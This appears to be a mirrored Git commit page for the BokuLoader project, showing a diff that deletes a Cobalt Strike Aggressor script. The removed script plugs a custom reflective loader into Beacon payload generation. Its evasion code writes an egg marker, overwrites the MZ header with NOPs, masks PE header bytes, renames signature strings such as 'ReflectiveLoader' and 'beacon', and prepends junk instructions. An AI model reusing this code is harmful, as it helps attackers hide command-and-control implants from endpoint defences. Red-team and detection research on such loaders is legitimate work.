admin/boku7-BokuLoader
1
0
Fork 0
mirror of https://github.com/boku7/BokuLoader/ synced 2026-06-06 15:24:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Delete BokuLoader.cna

Browse Source
This commit is contained in:
Bobby Cooke
2023-02-10 10:56:33 -07:00
committed by GitHub
parent 5380c2fe4e
commit 016c992bee
1 changed files with 0 additions and 160 deletions
Download Patch File Download Diff File Expand all files Collapse all files
BokuLoader.cna
-160
View File
@@ -1,160 +0,0 @@
# User Defined Reflective Loader Kit Aggressor Script
sub setEgg{
local('@Bytes');
local('$Offset $Egg $beacon_dll $index $Byte $x');
$beacon_dll = $1;
$Egg_p1 = 0xACDC;
$Egg_p2 = 0xB0C0;
$Offset = 0x50;
#Write Egg
$index_egg = $Offset;
$beacon_dll = pe_set_short($beacon_dll, $index_egg, $Egg_p1);
$index_egg += 2;
$beacon_dll = pe_set_short($beacon_dll, $index_egg, $Egg_p2);
$index_egg += 2;
$beacon_dll = pe_set_short($beacon_dll, $index_egg, $Egg_p1);
$index_egg += 2;
$beacon_dll = pe_set_short($beacon_dll, $index_egg, $Egg_p2);
for ($x = 0; $x < 8; $x++) {
$index = $Offset;
$index += $x;
$Byte = byteAt($beacon_dll, $index);
@Bytes[$x] = uc(formatNumber($Byte, 16));
}
println("|_ 8 bytes at Egg offset $Offset: ".@Bytes);
return $beacon_dll;
}
# Sets 2 Nops at a location in PE
# Arg1 = BeaconBytes ; Arg2 = Offset
sub setNops{
local('$Offset $Nops $beacon_dll');
$beacon_dll = $1;
$Nops = 0x9090;
$Offset = $2;
#Write Nops
$beacon_dll = pe_set_short($beacon_dll, $Offset, $Nops);
return $beacon_dll;
}
sub boku_pe_mask{
local('$maskkey');
$temp_dll = $1;
$maskkey = 123;
# CS RDI Code push r10; pop r10; MZAR - Make it NOPNOPNOPNOP
$temp_dll = setNops($temp_dll, 0x00);
$temp_dll = setNops($temp_dll, 0x02);
# Removing before 0x32 messes with the SRDI + Cant remove 0x3C-0x3D (offset to newExeHeader)
$temp_dll = pe_mask($temp_dll, 0x33, 0x8, $maskkey);
# Remove DOS header string
$temp_dll = pe_mask($temp_dll, 0x4D, 0x02, $maskkey);
$temp_dll = pe_mask($temp_dll, 0x58, 32, $maskkey);
# PE Header
$temp_dll = pe_mask($temp_dll, 0x80, 0x4, $maskkey);
# Other Header Masking
$temp_dll = pe_mask($temp_dll, 0x84, 0x2, $maskkey);
$temp_dll = pe_mask($temp_dll, 0x88, 0xB, $maskkey);
$temp_dll = pe_mask($temp_dll, 0x96, 0x6, $maskkey);
$temp_dll = pe_mask($temp_dll, 0xBC, 0x13, $maskkey);
return $temp_dll;
}
sub prependBytes{
local('$beacon_dll');
$beacon_dll = $1;
# push rax; push rbx; pop rbx; pop rax;
$Nops = "PS[X";
println("[+] Prepending " . strlen($Nops) . " bytes to Beacon");
$beacon_dll = $Nops . $beacon_dll;
return $beacon_dll;
}
sub boku_strrep {
local('$beacon_dll');
$beacon_dll = $1;
$beacon_dll = strrep($beacon_dll, "ReflectiveLoader", "djoiqnfkjlnslfmn");
$beacon_dll = strrep($beacon_dll, "Microsoft Base Cryptographic Provider v1.0", "12367321236742382543232341241261363163151d");
$beacon_dll = strrep($beacon_dll, "(admin)", "(tomin)");
$beacon_dll = strrep($beacon_dll, "beacon", "bacons");
return $beacon_dll;
}
sub generate_my_dll {
local('$profile $handle $data $loader $temp_dll $userwx $obfuscate $sleep_mask $stomppe $name');
$name = "dist/BokuLoader";
$profile = data_query("metadata")["c2profile"];
#$userwx = [$profile getString: ".stage.userwx"];
#$obfuscate = [$profile getString: ".stage.obfuscate"];
#$sleep_mask = [$profile getString: ".stage.sleep_mask"];
#$stomppe = [$profile getString: ".stage.stomppe"];
#$prepend = [$profile getString: ".stage.transform-x64.prepend"];
# Does not support sleep_mask since memory is allocated as RW/RX
#if ($sleep_mask eq "true") {
# warn("[!] Failure : Malleable C2 option 'stage.sleep_mask true' is not supported. Reverting to using default CS Reflective Loader.");
# return $null;
#}
#@strings = [$profile getList: ".stage.string"];
#println(@strings);
$name = $name .".x64.o";
warn("loading: " . $name);
$handle = openf(script_resource($name));
$data = readb($handle, -1);
closef($handle);
warn("Loaded Length: " . strlen($data));
if (strlen($data) eq 0) {
warn("Error loading reflective loader object file.");
return $null;
}
$loader = extract_reflective_loader($data);
warn("Extracted Length: " . strlen($loader));
if (strlen($loader) eq 0) {
warn("Error extracting reflective loader.");
return $null;
}
$temp_dll = setup_reflective_loader($2, $loader);
$temp_dll = setEgg($temp_dll);
$temp_dll = boku_pe_mask($temp_dll);
$temp_dll = boku_strrep($temp_dll);
$temp_dll = prependBytes($temp_dll);
return $temp_dll;
}
set BEACON_RDLL_GENERATE {
warn("========== Running 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture " . $3 . " ==========");
return generate_my_dll($1, $2, $3);
}
set BEACON_RDLL_GENERATE_LOCAL {
warn("========== Running 'BEACON_RDLL_GENERATE_LOCAL' for DLL " . $1 . " with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA " . $5 . " GetProcAddress " . $6 . " ==========");
return generate_my_dll($1, $2, $3);
}
set BEACON_RDLL_SIZE {
warn("========== Running 'BEACON_RDLL_SIZE' for DLL Name " . $1 . " with architecture " . $2);
return "100";
}